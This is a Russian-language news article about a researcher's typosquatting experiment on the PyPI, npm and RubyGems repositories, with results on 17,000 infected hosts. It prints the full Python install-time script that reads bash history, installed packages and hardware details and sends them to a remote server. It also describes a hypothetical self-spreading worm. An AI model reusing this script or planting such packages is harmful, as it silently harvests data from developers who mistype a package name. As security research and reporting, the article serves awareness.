Тайпосквоттинг в репозиториях Python, Node.JS и Ruby
Эффективность атаки доказана при распространении вредоносного кода через репозитории PyPi (Python), Npmjs.com (Node.js) и rubygems.org (Ruby)
Оказывается, тайпосквоттинг подходит не только для регистрации доменных имён. Немецкий специалист по безопасности Николай Чахер (Nikolai Tschacher) продемонстрировал, насколько легко распространять вредоносный код через PyPi — каталог программного обеспечения, написанного на языке программирования Python, а также через репозитории NodeJS (Npmsjs.com) и Ruby (rubygems.org).
Итак, публикуем пакет с опечаткой в названии — и ждём, пока кто-нибудь допустит опечатку в своей консоли…
> sudo pip install reqeusts
Во время небольшого эксперимента Николай в целях исследования инфицировал 17 000 компьютеров, причём 43,6% установок были совершены с правами администратора, в том числе на серверах в правительственных доменах .gov и .mil.
Традиционные тайпосквоттеры регистрируют тысячи адресов, в продвинутые компании всегда вместе с основным доменов регистрируют возможные варианты тайпосквоттинга, устанавливая редирект. Некоторые даже используют тайпосквоттинг, чтобы забирать чужой трафик. Например, Google перенаправляет к себе трафик с домена duck.com.
Кстати, есть ещё битсквоттинг — экзотичесая разновидность тайпосквоттинга. Здесь расчёт идёт не на человеческую, а на аппаратную ошибку. Битсквоттинг делает ставку на то, что какое-нибудь из подключённых к интернету устройств случайно ошибётся и изменит один нужный бит в DNS-запросе, так что трафик пойдёт вместо оригинального сайта на сайт злоумышленника. Для таких атак выбираются домены CDN и рекламных сетей, контент с которых подгружается на тысячи популярных сайтов. Это такие домены, как fbcdn.net, 2mdn.net и akamai.com.
Николай Чахер ознакомился с методами стандартного тайпосквоттинга и задался вопросом:, а сколько же человек ошибутся в названии пакета, если вручную устанавливают покеты через пакетный менеджер. Например, пакетный менеджер pip скачивает пакеты из репозитория PyPi. Если мы создадим произвольный пакет с названием reqeusts (закачать его в репозиторий может кто угодно) вместо стандартного модуля requests, то наш пакет скачают и установят все пользователи, которые совершат опечатку при наборе команды.
Чтобы проверить эффективность атаки, Николай создал 214 пакетов с различными типами опечаток в названии, в том числе с незарегистрированными вариантами имён из стандартной библиотеки (например, urllib2), и закачивал их в репозитории в течение нескольких месяцев во второй половине 2015 года и начале 2016 года.
В пакетах Python вредоносный код прятался в файле setup.py, который запускается с правами администратора. Для модулей NPM был написан предустановочный скрипт, а вот с пакетами Ruby пришлось повозиться.
При установке каждого фиктивного тайпосквоттерского пакета отправлялось уведомление на сервер с указанием IP-адреса, операционной системы, прав пользователя и таймстампом.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Notification program used in the typo squatting
bachelor thesis for the python package index.
Created in autumn 2015.
Copyright by Nikolai Tschacher
"""
import os
import ctypes
import sys
import platform
import subprocess
debug = False
# we are using Python3
if sys.version_info[0] == 3:
import urllib.request
from urllib.parse import urlencode
GET = urllib.request.urlopen
def python3POST(url, data={}, headers=None):
"""
Returns the response of the POST request as string or
False if the resource could not be accessed.
"""
data = urllib.parse.urlencode(data).encode()
request = urllib.request.Request(url, data)
try:
reponse = urllib.request.urlopen(request, timeout=15)
cs = reponse.headers.get_content_charset()
if cs:
return reponse.read().decode(cs)
else:
return reponse.read().decode('utf-8')
except urllib.error.HTTPError as he:
# try again if some 400 or 500 error was received
return ''
except Exception as e:
# everything else fails
return False
POST = python3POST
# we are using Python2
else:
import urllib2
from urllib import urlencode
GET = urllib2.urlopen
def python2POST(url, data={}, headers=None):
"""
See python3POST
"""
req = urllib2.Request(url, urlencode(data))
try:
response = urllib2.urlopen(req, timeout=15)
return response.read()
except urllib2.HTTPError as he:
return ''
except Exception as e:
return False
POST = python2POST
try:
from subprocess import DEVNULL # py3k
except ImportError:
DEVNULL = open(os.devnull, 'wb')
def get_command_history():
if os.name == 'nt':
# handle windows
# http://serverfault.com/questions/95404/
#is-there-a-global-persistent-cmd-history
# apparently, there is no history in windows :(
return ''
elif os.name == 'posix':
# handle linux and mac
cmd = 'cat {}/.bash_history | grep -E "pip[23]? install"'
return os.popen(cmd.format(os.path.expanduser('~'))).read()
def get_hardware_info():
if os.name == 'nt':
# handle windows
return platform.processor()
elif os.name == 'posix':
# handle linux and mac
if sys.platform.startswith('linux'):
try:
hw_info = subprocess.check_output('lshw -short',
stderr=DEVNULL, shell=True)
except:
hw_info = ''
if not hw_info:
try:
hw_info = subprocess.check_output('lspci',
stderr=DEVNULL, shell=True)
except:
hw_info = ''
hw_info += '\n' +\
os.popen('free -m').read().strip()
return hw_info
elif sys.platform == 'darwin':
# According to https://developer.apple.com/library/
# mac/documentation/Darwin/Reference/ManPages/
# man8/system_profiler.8.html
# no personal information is provided by detailLevel: mini
return os.popen('system_profiler -detailLevel mini').read()
def get_all_installed_modules():
# first try the default path
pip_list = os.popen('pip list').read().strip()
if pip_list:
return pip_list
else:
if os.name == 'nt':
paths = ('C:/Python27',
'C:/Python34',
'C:/Python26',
'C:/Python33',
'C:/Python35',
'C:/Python',
'C:/Python2',
'C:/Python3')
# try some paths that make sense to me
for loc in paths:
pip_location = os.path.join(loc, 'Scripts/pip.exe')
if os.path.exists(pip_location):
cmd = '{} list'.format(pip_location)
try:
pip_list = subprocess.check_output(cmd,
stderr=DEVNULL, shell=True)
except:
pip_list = ''
if pip_list:
return pip_list
return ''
def notify_home(url, package_name, intended_package_name):
host_os = platform.platform()
try:
admin_rights = bool(os.getuid() == 0)
except AttributeError:
try:
ret = ctypes.windll.shell32.IsUserAnAdmin()
admin_rights = bool(ret != 0)
except:
admin_rights = False
if os.name != 'nt':
try:
pip_version = os.popen('pip --version').read()
except:
pip_version = ''
else:
pip_version = platform.python_version()
url_data = {
'p1': package_name,
'p2': intended_package_name,
'p3': 'pip',
'p4': host_os,
'p5': admin_rights,
'p6': pip_version,
}
post_data = {
'p7': get_command_history(),
'p8': get_all_installed_modules(),
'p9': get_hardware_info(),
}
url_data = urlencode(url_data)
response = POST(url + url_data, post_data)
if debug:
print(response)
print('')
print("Warning!!! Maybe you made a typo in your installation\
command or the module does only exist in the python stdlib?!")
print("Did you want to install '{}'\
instead of '{}'??!".format(intended_package_name, package_name))
print('For more information, please\
visit http://svs-repo.informatik.uni-hamburg.de/')
def main():
if debug:
notify_home('http://localhost:8000/app/?',
'pmba_basic', 'pmba_basic')
else:
notify_home('http://svs-repo.informatik.uni-hamburg.de/app/?',
'pmba_basic', 'pmba_basic')
if __name__ == '__main__':
main()
Результаты оказались ошеломляющими. Нотификатор на сервере получил 45334 уведомлений об установке с 17289 уникальных IP-адресов.
Больше всего установок сгенерировали фиктивные пакеты для PyPi: 15221 уникальных IP-адресов. На долю rubygems.org пришлось 1631 инсталляций, на NPM — 525. В среднем, каждый пакет был установлен 92 раза, но самым популярным оказался urllib2 с 3929 уникальными установками.
Жертвы атаки распределились между разными операционными системами: Linux (8614), Windows (6174), OS X (4758) и другими ОС (57).
Сопоставление IP-адресов с хостами дало следующую картину.
Национальная принадлежность хостов, по странам
Полные результаты исследования опубликованы в дипломной работе Николая Чахера.
Кстати, автор предлагает идею, что данный тип атаки можно использовать для распространения червя, который будет майнить историю введённых команд в консоли под Linux и OS X, чтобы находить новые опечатки, которых нет в базе.
Теоретически, червь может сам искать новые векторы атаки (новые опечатки), генерировать новые пакеты, закачивать их в репозитории вместе со своим кодом и, таким образом, распространяться дальше.